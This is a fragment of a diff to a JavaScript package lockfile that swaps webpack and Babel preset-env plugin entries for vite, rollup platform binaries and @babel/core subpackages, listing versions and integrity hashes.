- "schema-utils/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
+ "stylehacks/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
"stylehacks/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"sucrase/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
+ "sucrase/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
"sucrase/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
"svgo/css-select/domhandler": ["domhandler@4.3.1", "", { "dependencies": { "domelementtype": "^2.2.0" } }, "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ=="],
@@ -7587,135 +7447,75 @@
"tailwindcss/postcss-load-config/lilconfig": ["lilconfig@3.0.0", "", {}, "sha512-K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g=="],
- "terser-webpack-plugin/jest-worker/supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="],
-
"unist-util-remove-position/unist-util-visit/unist-util-is": ["unist-util-is@5.2.1", "", { "dependencies": { "@types/unist": "^2.0.0" } }, "sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw=="],
"unist-util-remove-position/unist-util-visit/unist-util-visit-parents": ["unist-util-visit-parents@5.1.3", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-is": "^5.0.0" } }, "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg=="],
+ "vasync/verror/core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
+
"vfile-location/vfile/unist-util-stringify-position": ["unist-util-stringify-position@3.0.3", "", { "dependencies": { "@types/unist": "^2.0.0" } }, "sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg=="],
"vfile-location/vfile/vfile-message": ["vfile-message@3.1.4", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-stringify-position": "^3.0.0" } }, "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw=="],
- "webpack/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "vite/postcss/nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
- "webpack/eslint-scope/estraverse": ["estraverse@4.3.0", "", {}, "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="],
+ "vite/rollup/@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.59.0", "", { "os": "android", "cpu": "arm" }, "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg=="],
- "webpack/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
+ "vite/rollup/@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.59.0", "", { "os": "android", "cpu": "arm64" }, "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q=="],
+
+ "vite/rollup/@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.59.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg=="],
+
+ "vite/rollup/@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.59.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w=="],
+
+ "vite/rollup/@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.59.0", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA=="],
+
+ "vite/rollup/@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.59.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg=="],
+
+ "vite/rollup/@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.59.0", "", { "os": "linux", "cpu": "arm" }, "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw=="],
+
+ "vite/rollup/@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.59.0", "", { "os": "linux", "cpu": "arm" }, "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA=="],
+
+ "vite/rollup/@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.59.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA=="],
+
+ "vite/rollup/@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.59.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA=="],
+
+ "vite/rollup/@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg=="],
+
+ "vite/rollup/@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg=="],
+
+ "vite/rollup/@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.59.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w=="],
+
+ "vite/rollup/@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.59.0", "", { "os": "linux", "cpu": "x64" }, "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg=="],
+
+ "vite/rollup/@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.59.0", "", { "os": "linux", "cpu": "x64" }, "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg=="],
+
+ "vite/rollup/@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.59.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A=="],
+
+ "vite/rollup/@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.59.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA=="],
+
+ "vite/rollup/@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.59.0", "", { "os": "win32", "cpu": "x64" }, "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA=="],
+
+ "vite/rollup/@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="],
"winston-daily-rotate-file/winston-transport/logform": ["logform@2.6.0", "", { "dependencies": { "@colors/colors": "1.6.0", "@types/triple-beam": "^1.3.2", "fecha": "^4.2.0", "ms": "^2.1.1", "safe-stable-stringify": "^2.3.1", "triple-beam": "^1.3.0" } }, "sha512-1ulHeNPp6k/LD8H91o7VYFBng5i1BDE7HoKxVbZiGFidS1Rj65qcywLxX+pVfAPoQJEjRdvKcusKwOupHCVOVQ=="],
- "workbox-build/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-iRkKcCqb7iGnq9+3G6rZ+Ciz5VywC4XNRHe57lKM+jOeYAoR0lVqdeeDRfh0tQcTfw/+vBhHn926FmQhLtlFLQ=="],
+ "workbox-build/@babel/core/@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="],
- "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/plugin-transform-optional-chaining": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-WwlxbfMNdVEpQjZmK5mhm7oSwD3dS6eU+Iwsi4Knl9wAletWem7kaRsGOG+8UEbRyqxY4SS5zvtfXwX+jMxUwQ=="],
+ "workbox-build/@babel/core/@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="],
- "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.23.7", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-LlRT7HgaifEpQA1ZgLVOIJZZFVPWN5iReq/7/JixwBtwcoeVGDBD53ZV28rrsLYOZs1Y/EHhA8N/Z6aazHR8cw=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.28.6", "", { "dependencies": { "@babel/compat-data": "^7.28.6", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA=="],
- "workbox-build/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lPgDSU+SJLK3xmFDTV2ZRQAiM7UuUjGidwBywFavObCiZc1BeAAcMtHJKUya92hPHO+at63JJPLygilZard8jw=="],
+ "workbox-build/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.6", "", { "dependencies": { "@babel/helper-module-imports": "^7.28.6", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NzQcQrzaQPkaEwoTm4Mhyl8jI1huEL/WWIEvudjTCMJ9aBZNpsJbMASx7EQECtQQPS/DcnFpo0FIh3LvEO9cxQ=="],
+ "workbox-build/@babel/core/@babel/helpers": ["@babel/helpers@7.28.6", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.23.9", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-remap-async-to-generator": "^7.22.20", "@babel/plugin-syntax-async-generators": "^7.8.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Q3veQEDGe14dTYuwagbRtwxQDnytyg1JFu4/HwEMETeofocrB0U0ejBJIXoeG/t2oXZ8kzCyI0ZZfbT80VFNQ=="],
+ "workbox-build/@babel/core/@babel/parser": ["@babel/parser@7.29.0", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.23.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-remap-async-to-generator": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-A7LFsKi4U4fomjqXJlZg/u0ft/n8/7n7lpffUP/ZULx/DtV9SGlNKZolHH6PE8Xl1ngCc0M11OaeZptXVkfKSw=="],
+ "workbox-build/@babel/core/@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vI+0sIaPIO6CNuM9Kk5VmXcMVRiOpDh7w2zZt9GXzmE/9KD70CUEVhvPR/etAeNK/FAEkhxQtXOzVF3EuRL41A=="],
+ "workbox-build/@babel/core/@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0QqbP6B6HOh7/8iNR4CQU2Th/bbRtBp4KS9vcaZd1fZ0wSh5Fyssg0UCIHwxh+ka+pNDREbVLQnHCMHKZfPwfw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.23.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uM+AN8yCIjDPccsKGlw271xjJtGii+xQIF/uMPS8H15L12jZTsLfF4o5vNO7d/oUguOyfdikHGc/yi9ge4SGIg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.23.4", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-class-static-block": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-nsWu/1M+ggti1SOALj3hfx5FXzAY06fwPJsUZD4/A5e1bWi46VUIWtD+kOX6/IdhXGsXBWllLFDSnqSCdUNydQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.23.8", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-compilation-targets": "^7.23.6", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-split-export-declaration": "^7.22.6", "globals": "^11.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-yAYslGsY1bX6Knmg46RjiCiNSwJKv2IUC8qOdYKqMMr0491SXFhcHqOdRDeCRohOOIzwN/90C6mQ9qAKgrP7dg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/template": "^7.22.15" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-dTj83UVTLw/+nbiHqQSFdwO9CbTtwq1DsDqm3CUEtDrZNET5rT5E6bIdTlOftDTDLMYxvxHNEYO4B9SLl8SLZw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-n225npDqjDIr967cMScVKHXJs7rout1q+tt50inyBCPkyZ8KxeI6d+GIbSBTT/w/9WdlWDOej3V9HE5Lgk57gw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vgnFYDHAKzFaTVp+mneDsIEbnJ2Np/9ng9iviHw3P/KVcgONxpNULEW/51Z/BaFojG2GI2GwwXck5uV1+1NOYQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RrqQ+BQmU3Oyav3J+7/myfvRCq7Tbz+kKLLshUmMwNlDHExbGL7ARhajvoBJEvc+fCguPPu887N+3RRXBVKZUA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V6jIbLhdJK86MaLh4Jpghi8ho5fGzt3imHOBu/x0jlBaPYqDoWz4RDXjmMOfnh+JWNaQleEAByZLV0QzBT4YQQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.23.3", "", { "dependencies": { "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5fhCsl1odX96u7ILKHBj4/Y8vipoqwsJMh4csSA8qFfxrZDEA4Ssku2DyNvMJSmZNOEBT750LfFPbtrnTP90BQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-export-namespace-from": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GzuSBcKkx62dGzZI1WVgTWvkkz84FZO5TC5T8dl/Tht/rAla6Dg/Mz9Yhypg+ezVACf/rgDuQt3kbWEv7LdUDQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.23.6", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aYH4ytZ0qSuBbpfhuofbg/e96oQ7U2w1Aw/UQmKT+1l39uEhUPoFS3fHevDc1G0OvewyDudfMKY1OulczHzWIw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.23.3", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.15", "@babel/helper-function-name": "^7.23.0", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-I1QXp1LxIvt8yLaib49dRW5Okt7Q4oaxao6tFVKS/anCdEOMtYwWVKoiOA1p34GOWIZjUK0E+zCp7+l1pfQyiw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-json-strings": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-81nTOqM1dMwZ/aRXQ59zVubN9wHGqk6UtqRK+/q+ciXmRy8fSolhGVvG09HHRGo4l6fr/c4ZhXUQH0uFW7PZbg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wZ0PIXRxnwZvl9AYpqNUxpZ5BiTGrYt7kueGQ+N5FiQ7RCOD4cm8iShd6S6ggfVIWaJf2EMk8eRzAh52RfP4rQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Mc/ALf1rmZTP4JKKEhUwiORU+vcfarFVLfcFiolKUo6sewoxSEgl36ak5t+4WamRsNr6nzjZXQjM35WsU+9vbg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-sC3LdDBDi5x96LA+Ytekz2ZPk8i/Ck+DEuDbRAll5rknJ5XRTSaPKEYwomLcs1AA8wg9b3KjIQRsnApj+q51Ag=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vJYQGxeKM4t8hYCKVBlZX/gtIY2I7mRGFNcm85sgXGMTBcoV3QdVtdpbcWEbzbfUIUZKwvgFT82mRvaQIebZzw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-simple-access": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.23.9", "", { "dependencies": { "@babel/helper-hoist-variables": "^7.22.5", "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-identifier": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KDlPRM6sLo4o1FkiSlXoAa8edLXFsKKIda779fbLrvmeuc3itnjCtaO6RrtoaANsIJANj+Vk1zqbZIMhkCAHVw=="],
-
